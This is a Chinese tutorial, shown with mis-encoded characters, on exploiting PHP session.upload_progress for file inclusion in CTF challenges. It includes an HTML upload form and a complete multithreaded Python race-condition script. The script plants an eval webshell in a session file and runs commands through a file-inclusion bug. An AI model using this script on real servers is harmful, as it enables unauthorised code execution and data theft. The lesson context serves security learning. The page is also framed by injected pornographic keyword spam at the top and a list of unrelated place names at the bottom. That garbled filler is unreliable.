最新国产好看的视频,伊人天堂AV在线,国产Aaaaaa视频,蜜臀视频在线观看一区,人妻av色图,密臀久久久精品影片,青青视频免费观看毛片,久草在线观看视,国产三级精品色情在线

使用session upload_progress實現(xiàn)文件包含實例詳解

 更新時間:2022年12月09日 11:28:22   作者:XINO  
這篇文章主要為大家介紹了使用session upload_progress實現(xiàn)文件包含實例詳解,有需要的朋友可以借鑒參考下,希望能夠有所幫助,祝大家多多進步,早日升職加薪

前言

該思路是很久之前在CTF比賽中學(xué)習(xí)到的,可以簡單理解為利用session.upload_progress來進行文件競爭從而達到上傳文件進行文件包含或者命令執(zhí)行的目的,可能大部分人會不理解,我們下面我們展開來講。

基礎(chǔ)知識

session.upload_progress

首先我們要先學(xué)習(xí)什么是session.upload_progress,可以簡單理解為文件上傳進度,在php官方文檔里可以找到描述:

在這里面有幾個很重要的函數(shù),我們簡單看一下:

session.upload_progress.enabled = on
session.upload_progress.cleanup = on
session.upload_progress.prefix = "upload_progress_"
session.upload_progress.name = "PHP_SESSION_UPLOAD_PROGRESS"

第一個顯而易見是設(shè)定是否開啟該功能,第二個cleanup則是是否在上傳后刪除文件,第三個為設(shè)置前綴,第四個為session中的鍵值,那么他們有什么用呢?我們就可以在phpinfo里查看這些信息是否開啟以此來判斷能不能利用該漏洞。

攻擊方法

我們攻擊思路就是利用session.upload_progress來將木馬寫入到session里面,但這里有兩個問題:

問題一:代碼里沒有session_start,我們?nèi)绾蝿?chuàng)建session文件呢?

首先我們先看看session里面有一個很重要的選項:

session.use_strict_mode //默認值為off。

我們可以自己定義sessionid,假如我們定義sessionid為xino,則PHP將會在服務(wù)器上創(chuàng)建一個文件:/tmp/sess_xino”。即使我們沒有初始化Session,PHP也會自動初始化Session。 并產(chǎn)生一個鍵值,這個鍵值由:

ini.get("session.upload_progress.prefix")+由我們構(gòu)造的session.upload_progress.name值組成

最后被寫入sess_文件里。

問題二:上面的cleanup設(shè)置會刪除數(shù)據(jù),我們要如何防止數(shù)據(jù)被刪除呢?

所以這里需要我們文件競爭不斷發(fā)包直至上傳成功,之后再讀取session文件所在路徑即可。類似于下圖,可以搭配burpsuite使用:

之后我們即可進行文件包含或者RCE攻擊,總結(jié)一下該漏洞的利用條件:

存在文件包含漏洞

知道session文件存放路徑,可以嘗試默認路徑

具有讀取和寫入session文件的權(quán)限

下面給大家?guī)硪粋€例題。

例題

進入題目首先看看題目源碼:

限制了我們很多東西,只能使用沒有后綴的文件進行文件包含所以想到通過session.upload_progress來進行文件包含,因為我們需要上傳一個東西,所以我們先寫一個簡單的文件上傳點:

<!DOCTYPE html>
<html>
<body>
<form action="http://ctf" method="POST" enctype="multipart/form-data">
    <input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="123" />
    <input type="file" name="file" />
    <input type="submit" value="submit" />
</form>
</body>
</html>

之后我們進行發(fā)包抓包然后重放,查看回顯成功后我們訪問/tmp/sess_flag,發(fā)現(xiàn)命令執(zhí)行了:

我們將之前發(fā)包文件里面的ls命令改為cat flag的文件名即可進行命令執(zhí)行,也是抓包重放查看返回長度不一樣的包:

如果不喜歡手動我這里從網(wǎng)上找了一個自動化腳本,大家也可以嘗試一下:

import io
import requests
import threading
sessid = 'FLAG'
data = {"cmd":"system('ls');"}
def write(session):
    while True:
        f = io.BytesIO(b'a' * 1024 * 50)
        resp = session.post( 'http://127.0.0.1/session.php', data={'PHP_SESSION_UPLOAD_PROGRESS': '<?php eval($_POST["cmd"]);?>'}, files={'file': ('1.txt',f)}, cookies={'PHPSESSID': sessid} )
def read(session):
    while True:
        resp = session.post('http://127.0.0.1/session.php?file=/Applications/phpstudy/Extensions/tmp/tmp/sess_'+sessid,data=data)
        if '1.txt' in resp.text:
            print(resp.text)
            event.clear()
        else:
            print("[+++++++++++++]retry")
if __name__=="__main__":
    event=threading.Event()
    with requests.session() as session:
        for i in range(1,30): 
            threading.Thread(target=write,args=(session,)).start()
        for i in range(1,30):
            threading.Thread(target=read,args=(session,)).start()
    event.set()

結(jié)語

今天給大家?guī)淼氖莝ession.upload_progress文件包含漏洞,因為需要一些網(wǎng)絡(luò)安全基礎(chǔ)可能部分讀者不太明白,這里有興趣的小伙伴可以自己去了解一下找個現(xiàn)成的靶機去嘗試一下,更多關(guān)于session upload_progress文件包含的資料請關(guān)注腳本之家其它相關(guān)文章!

相關(guān)文章

  • PHP設(shè)計模式(五)適配器模式Adapter實例詳解【結(jié)構(gòu)型】

    PHP設(shè)計模式(五)適配器模式Adapter實例詳解【結(jié)構(gòu)型】

    這篇文章主要介紹了PHP設(shè)計模式:適配器模式Adapter,結(jié)合實例形式詳細分析了PHP適配器模式Adapter基本概念、功能、原理、用法及操作注意事項,需要的朋友可以參考下
    2020-05-05
  • 在VS?Code?中調(diào)試遠程服務(wù)器的PHP代碼詳解

    在VS?Code?中調(diào)試遠程服務(wù)器的PHP代碼詳解

    這篇文章主要介紹了在VSCode中調(diào)試遠程服務(wù)器的PHP代碼,這里通過xdebug配合vscode的php?debug插件來實現(xiàn),本文結(jié)合實例代碼介紹的非常詳細,需要的朋友可以參考下
    2023-07-07
  • PHP 閉包獲取外部變量和global關(guān)鍵字聲明變量的區(qū)別講解

    PHP 閉包獲取外部變量和global關(guān)鍵字聲明變量的區(qū)別講解

    閉包是一個常見的概念,我們通??梢詫⑵渑c回調(diào)函數(shù)配合使用,可以使代碼更加簡潔易讀。這篇文章主要介紹了PHP 閉包獲取外部變量和global關(guān)鍵字聲明變量的區(qū)別,需要的朋友可以參考下
    2017-12-12
  • php學(xué)習(xí)Eloquent修改器源碼示例解析

    php學(xué)習(xí)Eloquent修改器源碼示例解析

    這篇文章主要為大家介紹了php學(xué)習(xí)Eloquent修改器源碼示例解析,有需要的朋友可以借鑒參考下,希望能夠有所幫助,祝大家多多進步,早日升職加薪
    2023-06-06
  • 微信掃描二維碼登錄網(wǎng)站代碼示例

    微信掃描二維碼登錄網(wǎng)站代碼示例

    用戶通過掃描網(wǎng)頁提供的二維碼實現(xiàn)登陸信息獲取,大家參考使用吧
    2013-12-12
  • Yii框架Session與Cookie使用方法示例

    Yii框架Session與Cookie使用方法示例

    這篇文章主要介紹了Yii框架Session與Cookie使用方法,結(jié)合實例形式分析了Yii框架針對Session與Cookie的設(shè)置、獲取、刪除等相關(guān)操作技巧,需要的朋友可以參考下
    2019-10-10
  • php+ffmpeg如何獲取視頻縮略圖、視頻分辨率等相關(guān)信息

    php+ffmpeg如何獲取視頻縮略圖、視頻分辨率等相關(guān)信息

    這篇文章主要給大家介紹了關(guān)于php+ffmpeg如何獲取視頻縮略圖、視頻分辨率等相關(guān)信息的相關(guān)資料,文中通過實例代碼介紹的非常詳細,對大家的學(xué)習(xí)或者工作具有一定的參考學(xué)習(xí)價值,需要的朋友可以參考下
    2022-03-03
  • 使用php測試硬盤寫入速度示例

    使用php測試硬盤寫入速度示例

    使用php寫入一個1GB大小的文件,檢查硬盤的寫速率,可能有一定誤差,一般電腦讀寫在20M/s,這個測試要執(zhí)行大概40-50s
    2014-01-01
  • Thinkphp整合阿里云OSS圖片上傳實例代碼

    Thinkphp整合阿里云OSS圖片上傳實例代碼

    kphp3.2整合阿里云OSS圖片上傳實例,圖片上傳至OSS可減少服務(wù)器壓力,節(jié)省寬帶,安全又穩(wěn)定,阿里云OSS對于做負載均衡非常方便,不用傳到各個服務(wù)器了,本文通過實例代碼給大家介紹,需要的朋友一起看看吧
    2019-04-04
  • Laravel中日期時間處理包Carbon的簡單使用

    Laravel中日期時間處理包Carbon的簡單使用

    處理日期和時間需要考慮很多事情,例如日期的格式、時區(qū)、閏年和天數(shù)各異的月份,自己處理太容易出錯了,下面這篇文章主要給大家介紹了關(guān)于在Laravel中日期時間處理包Carbon的簡單使用,需要的朋友可以參考下。
    2017-09-09

最新評論

田东县| 泽普县| 黄浦区| 林州市| 万源市| 桂林市| 驻马店市| 揭西县| 瓦房店市| 乌鲁木齐县| 怀集县| 广平县| 青神县| 中超| 远安县| 平武县| 永平县| 集贤县| 罗平县| 翁牛特旗| 谢通门县| 临清市| 桂阳县| 中山市| 花垣县| 普陀区| 称多县| 玉田县| 武胜县| 宜宾市| 阜城县| 阿克苏市| 东乌| 吐鲁番市| 吉木萨尔县| 嘉义县| 兰州市| 博白县| 磐安县| 正安县| 洞口县|